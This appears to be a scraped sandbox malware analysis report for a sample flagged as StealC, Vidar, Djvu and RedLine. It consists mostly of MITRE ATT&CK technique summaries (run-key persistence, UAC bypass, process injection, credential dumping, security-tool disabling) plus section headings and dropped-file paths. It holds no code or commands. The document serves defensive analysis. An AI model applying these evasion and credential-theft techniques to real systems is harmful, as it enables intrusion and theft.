Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BI6oo9z4In.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Djvu

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Windows Media Player\background.jpg

C:\ProgramData\AEBGHDBKEBGIDHJJEHCAECBKJE

C:\ProgramData\CAEGHIJEHJDHIDHIDAEH

Windows Analysis Report
BI6oo9z4In.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre